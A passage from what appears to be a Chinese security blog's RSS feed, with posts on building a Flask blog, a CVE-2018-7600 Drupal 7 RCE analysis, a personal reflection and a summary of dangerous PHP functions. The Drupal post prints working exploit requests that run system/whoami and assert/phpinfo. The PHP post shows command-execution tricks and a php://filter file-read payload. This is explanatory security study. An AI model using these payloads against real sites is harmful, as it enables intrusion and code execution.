&lt;p&gt;前端主题 Inspired By &lt;a href=&quot;https://colorlib.com&quot; rel=&quot;nofollow&quot;&gt;Colorlib&lt;/a&gt; / &lt;a href=&quot;https://luolei.org/&quot; rel=&quot;nofollow&quot;&gt;罗磊的独立博客&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;后端很简陋，只是完成了一些基本功能。&lt;/p&gt;
&lt;h2 id=&quot;0x02-bugs&quot;&gt;0x02 Bugs&lt;/h2&gt;
&lt;h3 id=&quot;forms-length&quot;&gt;Forms length&lt;/h3&gt;
&lt;p&gt;后台添加/编辑文章的时候，要注意表单字段的长度，因为中文在表单里是经过编码的，所以长度可能会爆，就会出bug～&lt;/p&gt;
&lt;h3 id=&quot;tags&quot;&gt;Tags&lt;/h3&gt;
&lt;p&gt;一篇文章要对应多个Tags的时候，需要建立多对多关系。&lt;br&gt;
分割多个Tags的时候有些符号不能使用如 &lt;code&gt;;&lt;/code&gt; &lt;code&gt;-&lt;/code&gt; 等。&lt;/p&gt;
&lt;h2 id=&quot;0x03-details&quot;&gt;0x03 Details&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;0ak&lt;/code&gt;基于Python3+flask，由nginx+Docker+Gunicorn+Gevent部署，数据库是Mysql，用&lt;code&gt;docker-compose&lt;/code&gt;一键部署维护，特点如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;支持Mardown&lt;/li&gt;
&lt;li&gt;支持文章多标签&lt;/li&gt;
&lt;li&gt;支持多Category&lt;/li&gt;
&lt;li&gt;伪静态&lt;/li&gt;
&lt;li&gt;支持mweb图片一键上传到vps&lt;/li&gt;
&lt;li&gt;docker自动化部署&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;暂时没有的功能：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;文章分享&lt;/li&gt;
&lt;li&gt;图片水印&lt;/li&gt;
&lt;li&gt;后台管理Tags、Category&lt;/li&gt;
&lt;li&gt;数据库存储评论&lt;/li&gt;
&lt;li&gt;ajax异步加载（暂时不考虑）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;_1&quot;&gt;代码块配色&lt;/h3&gt;
&lt;p&gt;模仿的&lt;a href=&quot;https://carbon.now.sh/&quot; rel=&quot;nofollow&quot;&gt;carbon&lt;/a&gt;的mac外框，css用的是&lt;a href=&quot;https://jmblog.github.io/color-themes-for-google-code-prettify/&quot; rel=&quot;nofollow&quot;&gt;COLOR THEMES FOR GOOGLE CODE PRETTIFY&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;_2&quot;&gt;伪静态&lt;/h3&gt;
&lt;p&gt;可以用&lt;code&gt;send_file()&lt;/code&gt;也可以用&lt;code&gt;make_response&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;post = open(filename, &#x27;tw&#x27;)
        post_data = str(render_template(&#x27;blog/post.html&#x27;, posts=posts, toc=toc))
        post.write(post_data)
        post.close()&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;_3&quot;&gt;搜索&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/honmaple/flask-msearch&quot; rel=&quot;nofollow&quot;&gt;flask-msearch&lt;/a&gt;比Flask-Whooshee好用很多。&lt;/p&gt;
&lt;h3 id=&quot;sitemap&quot;&gt;sitemap&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.yukunweb.com/2017/12/flask-web-sitemap/&quot; rel=&quot;nofollow&quot;&gt;Flask不渲染显示sitemap.xml&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;tags-pagination&quot;&gt;Tags Pagination&lt;/h3&gt;
&lt;p&gt;Tags的分页一直报错～～搞不懂～搜索语句是没有问题的～～&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bug&lt;/strong&gt;&lt;br&gt;
&lt;a href=&quot;http://www.simplesay.xin/a-290.html&quot; rel=&quot;nofollow&quot;&gt;Flask分页报错&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;toc&quot;&gt;Toc&lt;/h3&gt;
&lt;p&gt;一开始尝试自己写了toc，但是感觉太丑了，后来看到一个用js实现的&lt;a href=&quot;https://tscanlin.github.io/tocbot/&quot; rel=&quot;nofollow&quot;&gt;tocbot&lt;/a&gt;，还挺好用，于是就加进来了。&lt;/p&gt;
&lt;h3 id=&quot;_4&quot;&gt;速度优化&lt;/h3&gt;
&lt;p&gt;逛大佬博客的时候发现大佬前端的优化贼舒服～然后就自己开始咕咕咕的捣鼓起来。特别是p神的&lt;a href=&quot;https://www.leavesongs.com/&quot; rel=&quot;nofollow&quot;&gt;博客&lt;/a&gt;，不是高峰的时候，紧逼大陆机子～简直是可怕。&lt;br&gt;
捣鼓了一下午，已经开启了&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Gzip压缩&lt;/li&gt;
&lt;li&gt;loadCSS异步加载css（要注意是否会影响兼容性）&lt;/li&gt;
&lt;li&gt;通过font-display优化webfont&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&quot;-w1324&quot; src=&quot;/api/download/15500686667726.jpg&quot;&gt;&lt;br&gt;
&lt;img alt=&quot;-w583&quot; src=&quot;/api/download/15500687585764.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;基本上达到了峰值速度～大陆机子(.me)简直爽的不行。如果不是高峰期，亚马逊也很香～&lt;/p&gt;
&lt;h2 id=&quot;0x04-reference&quot;&gt;0x04 Reference&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cnblogs.com/chixiaojin/archive/2012/06/28/2568702.html&quot; rel=&quot;nofollow&quot;&gt;Blog数据库设计之Tags表设计&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;https://blog.zengrong.net/post/2656.html&quot; rel=&quot;nofollow&quot;&gt;在 Flask-SQLAlchemy 中联表查询&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;https://blog.realkinetic.com/building-minimal-docker-containers-for-python-applications-37d0272c52f3&quot; rel=&quot;nofollow&quot;&gt;Building Minimal Docker Containers for Python Applications&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;https://www.the5fire.com/python-markdown-code-prettify.html&quot; rel=&quot;nofollow&quot;&gt;用Python-Markdown和google-prettify来处理Markdown和代码高亮&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;https://www.cnblogs.com/jiangjunli/p/7374356.html&quot; rel=&quot;nofollow&quot;&gt;Nginx 开启gzip压缩(图片,文件,css)&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;https://xiaoiver.github.io/coding/2018/03/22/%E5%AD%97%E4%BD%93%E5%8A%A0%E8%BD%BD%E6%9C%80%E4%BD%B3%E5%AE%9E%E8%B7%B5.html&quot; rel=&quot;nofollow&quot;&gt;字体加载最佳实践&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;https://xiaoiver.github.io/coding/2018/03/13/%E8%AE%A9%E9%AA%A8%E6%9E%B6%E5%B1%8F%E6%9B%B4%E5%BF%AB%E6%B8%B2%E6%9F%93.html&quot; rel=&quot;nofollow&quot;&gt;让骨架屏更快渲染&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;https://www.w3ctech.com/topic/1748&quot; rel=&quot;nofollow&quot;&gt;CSS 加载新方式&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;https://www.pushstack.com/font-display.html&quot; rel=&quot;nofollow&quot;&gt;使用 font-display 优化 Web fonts 的加载&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;https://www.haorooms.com/post/css_preload&quot; rel=&quot;nofollow&quot;&gt;谈谈css的加载及加载循序&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;https://x-dream.cn/posts/wangzhansuduyouhuaxijie/&quot; rel=&quot;nofollow&quot;&gt;外贸网站终极速度优化细节全展示&lt;/a&gt;&lt;/p&gt;</description>
    <pubDate>Mon, 28 Jan 2019 01:27:58 +0800</pubDate>
  </item>
  <item>
    <title>
      CVE-2018-7600 Drupal7 RCE Analysis
    </title>
    <link>https://www.0akarma.com/CVE-2018-7600-rce-analysis.html</link>
    <description>&lt;h2 id=&quot;0x00-preface&quot;&gt;0x00 Preface&lt;/h2&gt;
&lt;p&gt;前段时间看到柠檬师傅的drupal7 rce的文章，然后想起Ricter大佬好像也有篇类似的文章，然后仔细研究了一番～&lt;/p&gt;
&lt;h2 id=&quot;0x01-theory&quot;&gt;0x01 Theory&lt;/h2&gt;
&lt;p&gt;漏洞造成的原理就是因为没有对用户传入的变量做限制和&lt;code&gt;form_parent&lt;/code&gt;导致Drupal遍历到用户控制的&lt;code&gt;#value&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&quot;0x02-triggering-vulnerability&quot;&gt;0x02 Triggering Vulnerability&lt;/h2&gt;
&lt;h3 id=&quot;file_ajax_upload&quot;&gt;file_ajax_upload&lt;/h3&gt;
&lt;p&gt;这里就是验证&lt;code&gt;$form_build_id&lt;/code&gt;和&lt;code&gt;$_POST[&quot;form_build_id&quot;]&lt;/code&gt;是否相等，如果相等就取出被缓存的&lt;code&gt;$form&lt;/code&gt;，然后再将&lt;code&gt;$form&lt;/code&gt;的值交给&lt;code&gt;durpal_render($form)&lt;/code&gt;进行渲染。&lt;br&gt;
从而成为漏洞的触发点了，也就是为什么后面我们要发第二次POST请求的原因。&lt;/p&gt;
&lt;h3 id=&quot;form-cache&quot;&gt;form cache&lt;/h3&gt;
&lt;p&gt;这里只需要用户输入的&lt;code&gt;_triggering_element_value&lt;/code&gt;和&lt;code&gt;$element[&#x27;#name&#x27;]&lt;/code&gt;相等，即可成功绕过，这就是后面为什么第一个POST请求中要将&lt;code&gt;_triggering_element_name=name&lt;/code&gt;。&lt;/p&gt;
&lt;h3 id=&quot;inject-to-form&quot;&gt;Inject to form&lt;/h3&gt;
&lt;p&gt;既然漏洞触发点有了，那就应该去找在哪里注入payload了。&lt;br&gt;
刚好user_pass函数中可以看到&lt;code&gt;$_GET[&#x27;name&#x27;]&lt;/code&gt;，于是就可以从这里入手了。&lt;/p&gt;
&lt;h3 id=&quot;key-point-to-arbitrary-rce&quot;&gt;Key Point to arbitrary RCE&lt;/h3&gt;
&lt;p&gt;在这种情况下&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15458205303302.jpg&quot;&gt;&lt;br&gt;
Ricter大佬直接用passthru函数执行命令，肯定是执行不了的。&lt;br&gt;
柠檬师傅找了另外一个利用点&lt;code&gt;#attached&lt;/code&gt;，一样还是执行不了在黑名单里面的函数。&lt;br&gt;
所以这就延伸到了另一个问题～～&lt;br&gt;
当～～～disable_functions里面命令函数全都禁用掉了之后，该怎么办呢～（挖坑）～&lt;/p&gt;
&lt;h3 id=&quot;payload&quot;&gt;Payload&lt;/h3&gt;
&lt;p&gt;常规利用点&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;POST /drupal-7.57/?q=user/password&amp;amp;name[%23post_render][]=system&amp;amp;name[%23markup]=whoami&amp;amp;name[%23type]=markup HTTP/1.1

...

form_id=user_pass&amp;amp;_triggering_element_name=name&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;attached利用点&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;POST /drupal-7.57/?q=user/password&amp;amp;name[%23attached][assert][][]=phpinfo() HTTP/1.1

...

form_id=user_pass&amp;amp;_triggering_element_name=name&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;获取$form 缓存（查看命令执行结果）&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;POST /drupal-7.57/?q=file/ajax/name/%23value/form-xxx HTTP/1.1

...

form_build_id=form-xxx&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;0x03-reference&quot;&gt;0x03 Reference&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://paper.seebug.org/578/&quot; rel=&quot;nofollow&quot;&gt;Drupal 7 - CVE-2018-7600 PoC Writeup&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;https://www.cnblogs.com/iamstudy/articles/drupal7_cve-2018-7600_code_exec.html&quot; rel=&quot;nofollow&quot;&gt;drupal7 cve-2018-7600任意代码执行利用&lt;/a&gt;&lt;/p&gt;</description>
    <pubDate>Wed, 19 Dec 2018 06:30:39 +0800</pubDate>
  </item>
  <item>
    <title>
      Self Talking -&gt; Soul-Searching of 2018
    </title>
    <link>https://www.0akarma.com/self-talking-of-2018.html</link>
    <description>&lt;p&gt;临近期末，课变少了，渐渐开始进入“复习”阶段。但总感觉自己自从入冬以来，整个人都变得懒惰起来，仿佛进入了“冬眠”一般。一直坚持的早起练英文，也断了。感觉每天起来都在与床做着激烈的斗争……但不幸的是，我输了。&lt;br&gt;
如此这般生活，实在是太过罪恶～再这样下去，跟咸鱼有什么区别～&lt;/p&gt;
&lt;p&gt;于是就挑了两部之前存的电影调剂一下，其中有一部是《The Devil Wears Prada》&lt;br&gt;
看完之后，的确有不少收获，但是，可能我现在还没有那样的职场经历，所以对我的共鸣微乎其微～&lt;/p&gt;
&lt;p&gt;直到有一天看到一篇推送《拒绝何炅约饭，自律到变态，不蹭红毯不炒绯闻，韩雪活成了一股清流！》&lt;/p&gt;
&lt;p&gt;我被深深的“嘲讽”到了。&lt;/p&gt;
&lt;p&gt;第一次知道Cecilia（韩雪），这个名字，是她在TED的演讲《做一个积极的悲观主义者》中知道的。&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731827956637.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;一开始以为她是海龟，后来看到她配Titanic，又一次被震惊到……&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731828094484.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;但是当我看完那篇推送，稍微了解她的经历之后，我被彻彻底底的折服了！&lt;/p&gt;
&lt;p&gt;这才是真的”你有多自律，就有多优秀“。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最让我惭愧的就是她在学习上的自律&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;为了学英语，她把所有零碎时间拼凑起来，推掉无意义的饭局，活动。&lt;br&gt;
见缝插针地学习，甚至在剧组拍戏也挤出空闲时间趴在小桌子上学英语&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731828195705.jpg&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;她曾在知乎上分享学英语的经验，&lt;br&gt;
&lt;strong&gt;每天雷打不动坚持学英语2-4小时，&lt;/strong&gt;&lt;br&gt;
拍戏或者节假日也不例外，&lt;br&gt;
&lt;strong&gt;“不找借口不留后路。”&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;就是死磕，&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;就这样整整坚持了四年。&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;与其无用的社交，&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;不如高贵的独处，&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;这点，韩雪做到了。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731828292359.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;每天忙得不可开交的名人，依然能够挤出时间花时间在学习上。而我，总会因为这样那样的问题，导致今日事不能今日毕，然后推到明天、后天……然后就没有然后了～说好的今年年底首战IELTS，结果不了了之，说好的再努力一点，让今年GPA能高一点，结果又因为“懒”，可能也没戏。总是立了太多的flag，但却没有几项能顺顺利利的拔掉。与其沉浸在day dream中，不如脚踏实地，踏踏实实地坚持完成每一天的schedule。&lt;/p&gt;
&lt;p&gt;&lt;b&gt;三分天赋可问津，七分勤奋入桃园&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731828410674.jpg&quot;&gt;&lt;/p&gt;</description>
    <pubDate>Sun, 16 Dec 2018 01:44:05 +0800</pubDate>
  </item>
  <item>
    <title>
      PHP常见危险函数及特殊函数Summary
    </title>
    <link>https://www.0akarma.com/php-dangerfuncs.html</link>
    <description>&lt;h2 id=&quot;php&quot;&gt;PHP代码执行函数&lt;/h2&gt;
&lt;h3 id=&quot;eval&quot;&gt;eval&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt; eval(phpcode)&lt;/p&gt;
&lt;p&gt;eval() 函数把字符串按照 PHP 代码来计算。&lt;/p&gt;
&lt;p&gt;该字符串必须是‘合法的 PHP 代码’，且必须以‘分号’结尾。&lt;/p&gt;
&lt;p&gt;如果没有在代码字符串中调用 return 语句，则返回 NULL。如果代码中存在解析错误，则 eval() 函数返回 false。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
$string = &quot;beautiful&quot;;
$time = &quot;winter&quot;;

$str = &#x27;This is a $string $time morning!&#x27;;
echo $str. &quot;&amp;lt;br /&amp;gt;&quot;;

eval(&quot;\$str = \&quot;$str\&quot;;&quot;); /*一定要用\转义，不然会出现语法错误 */
echo $str;
?&amp;gt; 

/* eval 还可以实现
  1.运行普通字符串 eg: eval(&quot;echo &#x27;aaa&#x27;;&quot;)
  2.运行带&amp;lt;? php开头的字符串
  3.运行&amp;lt;? Php开头，?&amp;gt;结尾的字符串
  4，运行HTML与PHP混合的字符串
  5.从MySQL读取代码（字符串形式），并动态加载
  6.运行包含include和request的代码
  7.知道运行的过程是否出现异常（但无法捕捉到详细异常信息）
*/&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;assert&quot;&gt;assert&lt;/h3&gt;
&lt;p&gt;assert函数在php中用于判断一个表达式是否成立。返回bool；&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt;  &lt;/p&gt;
&lt;p&gt;PHP 5&lt;/p&gt;
&lt;p&gt;``` bool &lt;strong&gt;assert&lt;/strong&gt; ( [mixed $assertion [, string $description ] )&lt;br&gt;
bool assert ( mixed $assertion [, string $description ] )&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;PHP 7

``` bool assert ( mixed $assertion [, Throwable $exception ] )
bool assert ( mixed $assertion [, Throwable $exception ] )&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;code&gt;mixed&lt;/code&gt; 说明一个参数可以接受多种不同的（但不一定是所有的）类型。&lt;/p&gt;
&lt;p&gt;例如 &lt;a href=&quot;http://php.net/manual/zh/function.gettype.php&quot; rel=&quot;nofollow&quot;&gt;gettype()&lt;/a&gt; 可以接受所有的 PHP 类型，&lt;a href=&quot;http://php.net/manual/zh/function.str-replace.php&quot; rel=&quot;nofollow&quot;&gt;str_replace()&lt;/a&gt; 可以接受字符串和数组。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
$s = 123;
echo assert(&quot;is_int($s)&quot;);
?&amp;gt; 

//  1 [Finished in 0.0s]&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;从这个例子可以看到字符串参数会被执行，这跟eval()类似。不过eval($code_str)只是执行符合php编码规范的$code_str。&lt;br&gt;
assert的用法却更详细一点。&lt;/p&gt;
&lt;p&gt;assert_option()可以用来对assert()进行一些约束和控制;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;默认值&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ASSERT_ACTIVE=1 //Assert函数的开关&lt;br&gt;
ASSERT_WARNING =1 //当表达式为false时，是否要输出警告性的错误提示,issue a PHP warning for each failed assertion&lt;br&gt;
ASSERT_BAIL= 0 //是否要中止运行；terminate execution on failed assertions&lt;br&gt;
ASSERT_QUIET_EVAL= 0 //是否关闭错误提示，在执行表达式时；disable error_reporting during assertion expression evaluation&lt;br&gt;
ASSERT_CALLBACK= (NULL) // 是否启动回调函数 user function to call on failed assertions&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;preg_replace-e&quot;&gt;preg_replace +&#x27;/e&#x27;&lt;/h3&gt;
&lt;p&gt;preg_replace — 执行一个正则表达式的搜索和替换&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &amp;amp;$count ]] )&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;搜索&lt;code&gt;subject&lt;/code&gt;中匹配&lt;code&gt;pattern&lt;/code&gt;的部分（通常用正则匹配）， 以&lt;code&gt;replacement&lt;/code&gt;进行替换。&lt;/p&gt;
&lt;p&gt;/e 修正符使preg_replace()将replacement 参数当作php代码执行，但是php5.5.0以及后面的php7都已经不再支持了，用 &lt;a href=&quot;http://php.net/manual/zh/function.preg-replace-callback.php&quot; rel=&quot;nofollow&quot;&gt;preg_replace_callback()&lt;/a&gt; 代替。&lt;/p&gt;
&lt;h3 id=&quot;_1&quot;&gt;创建函数&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;string create_function (string $args,string $code)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;创建一个匿名函数，但不是真正的匿名函数，因为它返回值为函数名&lt;/p&gt;
&lt;p&gt;$args 代表参数，多个参数用逗号分隔，&lt;/p&gt;
&lt;p&gt;$code 代表函数体&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;eg:
func2=create_function(&quot;$args1,$args2&quot;,&quot;return $args1+$args2&quot;);
返回值为创建的函数名，是唯一的一个字符串
函数调用
func2(3,5);  //返回值为8&lt;/code&gt;&lt;/pre&gt;


&lt;blockquote&gt;
&lt;p&gt;创建函数有两种方式：&lt;/p&gt;
&lt;p&gt;1.使用&lt;strong&gt;function&lt;/strong&gt;关键字&lt;/p&gt;
&lt;p&gt;2.用&lt;strong&gt;string create_function (string $args,string $code)&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;php
$cfunc = create_function(&#x27;$v&#x27;, &#x27;return system($v);&#x27;);
$cfunc = (&#x27;whoami&#x27;);
//上下两者创建匿名函数的方式不同，但是结果一样
$cfunc = &#x27;sys&#x27;.&#x27;tem&#x27;;//用&#x27;.&#x27;来拼接
$cfunc = (&#x27;whoami&#x27;);&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;两种定义函数方式的区别&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;function定义的函数是在编译阶段生成的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;create_function创建的函数是在执行阶段生成的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;所以，可以在function定义的函数定义之前或则之后调用它。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;callable&quot;&gt;callable&lt;/h3&gt;
&lt;p&gt;call_user_func_array()  和。call_user_func()&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
function test($v1){
    echo &quot;testing $v1&quot;;
}
call_user_func(&#x27;test&#x27;,&#x27;karma&#x27;);
?&amp;gt; 
//输出 testing karma
//若为function test(callable $v1) 强制回调类型，则会出现错误 （why？）
//&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;array_map&quot;&gt;array_map&lt;/h3&gt;
&lt;h2 id=&quot;_2&quot;&gt;包含函数&lt;/h2&gt;
&lt;h3 id=&quot;include&quot;&gt;include&lt;/h3&gt;
&lt;p&gt;include如果引入的文件不存在,试图继续往下执行,报一个warning&lt;br&gt;
(如果你不介意之前的内容是否被包含，之后的内容都要执行，就使用include)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;include $file;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;在变量$file 可控的情况下，我们就可以包含任意文件。&lt;/p&gt;
&lt;p&gt;由于配置环境不同，可以分为&lt;strong&gt;远程文件&lt;/strong&gt;和&lt;strong&gt;本地文件&lt;/strong&gt;包含。&lt;/p&gt;
&lt;p&gt;包含函数也能读取任意文件内容，需要用到【支持的协议和封装协议】和【过滤器】&lt;/p&gt;
&lt;p&gt;eg:用php留filter读取任意文件&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;include($_GET[&#x27;file&#x27;]);

//?file=php://filter/convert.base64-encode/resource=index.php &lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;require&quot;&gt;require&lt;/h3&gt;
&lt;p&gt;比include更严谨：&lt;/p&gt;
&lt;p&gt;require如果引入的文件不存在,报fatal error,不再继续执行.&lt;br&gt;
(如果之前的内容一定要被包含，才允许继续执行之后的代码，就使用require)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Include/require 与 include_once /require_once的区别&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;_once 会自动判断文件是否已经引入,如果引入,不再重复执行.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;即:保证被包含文件只可能被引入一次.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;(如果包含的文件里有定义函数，那么被包含的文件只能被包含一次，如果多次包含，就会出现函数重定义的错误，php是不运行函数重定义的，会出现致命错误，之后代码不在运行)&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&quot;allow_url_include-on&quot;&gt;allow_url_include = on&lt;/h3&gt;
&lt;p&gt;远程文件包含&lt;/p&gt;
&lt;h2 id=&quot;_3&quot;&gt;命令执行函数&lt;/h2&gt;
&lt;h3 id=&quot;exec&quot;&gt;exec()&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;function exec(string $command,array[optional] $output,int[optional] $return_value)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;执行一个外部程序&lt;/p&gt;
&lt;p&gt;exec 执行系统外部命令时不会输出结果，而是返回结果的最后一行，如果你想得到结果你可以使用第二个参数，让其输出到指定的数组，此数组一个记录代表输出的一行，即如果输出结果有20行，则这个数组就有20条记录，所以如果你需要反复输出调用不同系统外部命令的结果，你最好在输出每一条系统外部命令结果时清空这个数组，以防混乱。第三个参数用来取得命令执行的状态码，通常执行成功都是返回０。&lt;/p&gt;
&lt;h3 id=&quot;passthru&quot;&gt;passthru()&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;function passthru(string $command,int[optional] $return_value)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;执行外部程序并且显示原始输出&lt;/p&gt;
&lt;p&gt;passthru与system的区别，passthru直接将结果输出到浏览器，不需要使用 echo 或 return 来查看结果，不返回任何值，且其可以输出二进制，比如图像数据。&lt;/p&gt;
&lt;h3 id=&quot;proc_open&quot;&gt;proc_open()&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;resource proc_open ( string $cmd , array $descriptorspec , array &amp;amp;$pipes [, string $cwd [, array $env [, array $other_options ]]] )&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;执行一个命令，并且打开用来输入/输出的文件指针&lt;/p&gt;
&lt;h3 id=&quot;shell_exec&quot;&gt;shell_exec()&amp;amp;``&lt;/h3&gt;
&lt;p&gt;shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体&lt;/p&gt;
&lt;p&gt;通过shell环境执行命令，并且将完整的输出以字符串的方式返回。&lt;/p&gt;
&lt;h3 id=&quot;system&quot;&gt;system()&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Grammar:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;function system(string $command,int[optional] $return_value)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;执行外部程序，并且显示输出&lt;/p&gt;
&lt;p&gt;system和exec的区别在于system在执行系统外部命令时，直接将结果输出到浏览器，不需要使用 echo 或 return 来查看结果，如果执行命令成功则返回true，否则返回false。第二个参数与exec第三个参数含义一样。&lt;/p&gt;
&lt;h3 id=&quot;popen&quot;&gt;popen()&lt;/h3&gt;
